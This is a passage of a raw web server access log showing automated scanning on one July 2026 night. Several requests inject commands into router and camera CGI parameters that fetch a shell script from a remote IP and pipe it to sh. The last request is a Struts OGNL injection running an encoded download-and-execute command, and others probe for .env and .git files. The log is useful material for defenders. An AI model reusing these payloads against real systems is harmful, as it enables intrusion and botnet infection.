+0200] "GET /setup.cgi?next_file=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20lsetup%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20lsetup HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:31 +0200] "POST /JNAP/ HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:33 +0200] "GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20tenda HTTP/1.1" 404 749 45.153.34.219 - - [11/Jul/2026:20:14:36 +0200] "GET /config/?cmd=cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dcs HTTP/1.1" 404 729 45.153.34.219 - - [11/Jul/2026:20:14:39 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:20:14:42 +0200] "POST /login.cgi HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:14:43 +0200] "POST /diagnostic.php HTTP/1.1" 404 732 45.153.34.219 - - [11/Jul/2026:20:14:46 +0200] "GET /cgi-bin/masterCGI?ping=nomip&user=;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20alcatel%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20alcatel; HTTP/1.1" 404 739 45.153.34.219 - - [11/Jul/2026:20:14:48 +0200] "GET /cgi-bin/;cd null" 505 1817 45.153.34.219 - - [11/Jul/2026:20:14:51 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:20:14:53 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:20:14:55 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:20:14:58 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:20:15:00 +0200] "POST /api/tunnel/tailscale-install HTTP/1.1" 404 754 45.153.34.219 - - [11/Jul/2026:20:15:02 +0200] "POST /api/network/settings HTTP/1.1" 404 746 45.153.34.219 - - [11/Jul/2026:20:15:03 +0200] "POST /cgi-bin/wireless.cgi HTTP/1.1" 404 742 45.153.34.219 - - [11/Jul/2026:20:15:06 +0200] "POST /cgi-bin/internet.cgi HTTP/1.1" 404 742 45.153.34.219 - - [11/Jul/2026:20:15:08 +0200] "POST /cgi-bin/adm.cgi HTTP/1.1" 404 737 45.153.34.219 - - [11/Jul/2026:20:15:10 +0200] "POST /cgi-bin/makeRequest.cgi HTTP/1.1" 404 745 45.153.34.219 - - [11/Jul/2026:20:15:12 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:20:15:15 +0200] "POST /command.php HTTP/1.1" 404 729 45.153.34.219 - - [11/Jul/2026:20:15:17 +0200] "GET /login.cgi?cli=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dlcli%60 HTTP/1.1" 404 727 45.153.34.219 - - [11/Jul/2026:20:15:19 +0200] "GET null HTTP/1.1" 400 1994 45.153.34.219 - - [11/Jul/2026:20:15:21 +0200] "GET /adv_remotelog.asp?syslogServerAddr=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20billion%60 HTTP/1.1" 404 735 45.153.34.219 - - [11/Jul/2026:20:15:22 +0200] "POST /cgi-bin/diagnostics.cgi HTTP/1.1" 404 745 45.153.34.219 - - [11/Jul/2026:20:15:25 +0200] "GET /api/ping?host=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20genie%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20genie%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20genie%60 HTTP/1.1" 404 730 45.153.34.219 - - [11/Jul/2026:20:15:27 +0200] "POST /cgi-bin/remote_link3.cgi HTTP/1.1" 404 746 45.153.34.219 - - [11/Jul/2026:20:15:30 +0200] "GET /action.php?host=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20mitsu%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20mitsu%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20mitsu%60 HTTP/1.1" 404 728 162.217.100.41 - - [11/Jul/2026:20:36:15 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.41 - - [11/Jul/2026:20:36:16 +0200] "GET /favicon.ico HTTP/1.1" 404 729 94.154.43.243 - - [11/Jul/2026:20:42:11 +0200] "GET /SDK/webLanguage HTTP/1.1" 404 737 45.198.224.5 - - [11/Jul/2026:20:47:52 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 404 748 103.176.166.150 - - [11/Jul/2026:20:56:06 +0200] "GET /manager/html HTTP/1.1" 401 2499 185.247.137.204 - - [11/Jul/2026:22:01:06 +0200] "GET / HTTP/1.1" 200 1895 20.65.193.170 - - [11/Jul/2026:22:27:35 +0200] "GET / HTTP/1.1" 200 1895 20.65.193.170 - - [11/Jul/2026:22:27:35 +0200] "-" 400 1930 45.33.12.122 - - [11/Jul/2026:22:37:21 +0200] "GET / HTTP/1.1" 200 1895 45.79.128.205 - - [11/Jul/2026:22:38:35 +0200] "GET / HTTP/1.1" 200 1895 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env HTTP/1.1" 404 722 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.git/HEAD HTTP/1.1" 404 731 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env.backup HTTP/1.1" 404 729 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env.old HTTP/1.1" 404 726 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env.save HTTP/1.1" 404 727 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env.bak HTTP/1.1" 404 726 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env.prod HTTP/1.1" 404 727 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env.production HTTP/1.1" 404 733 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env.staging HTTP/1.1" 404 730 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.env.local HTTP/1.1" 404 728 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /.envrc HTTP/1.1" 404 724 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /env HTTP/1.1" 404 721 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /config/.env HTTP/1.1" 404 733 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /app/.env HTTP/1.1" 404 730 20.215.50.93 - - [11/Jul/2026:22:53:11 +0200] "GET /../.env HTTP/1.1" 400 804 141.98.11.11 - - [11/Jul/2026:23:08:46 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.36 - - [11/Jul/2026:23:28:16 +0200] "GET / HTTP/1.1" 200 1895 162.217.100.36 - - [11/Jul/2026:23:28:16 +0200] "GET /favicon.ico HTTP/1.1" 404 729 45.33.12.122 - - [11/Jul/2026:23:35:42 +0200] "GET / HTTP/1.1" 200 1895 172.235.41.203 - - [11/Jul/2026:23:40:15 +0200] "GET / HTTP/1.1" 200 1895 94.154.43.64 - - [11/Jul/2026:23:47:44 +0200] "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5leHIuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uZXhyLnNoKXxzaCAg%7D%7C%7Bbase64%2C-d%7D%7Csh%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 404 730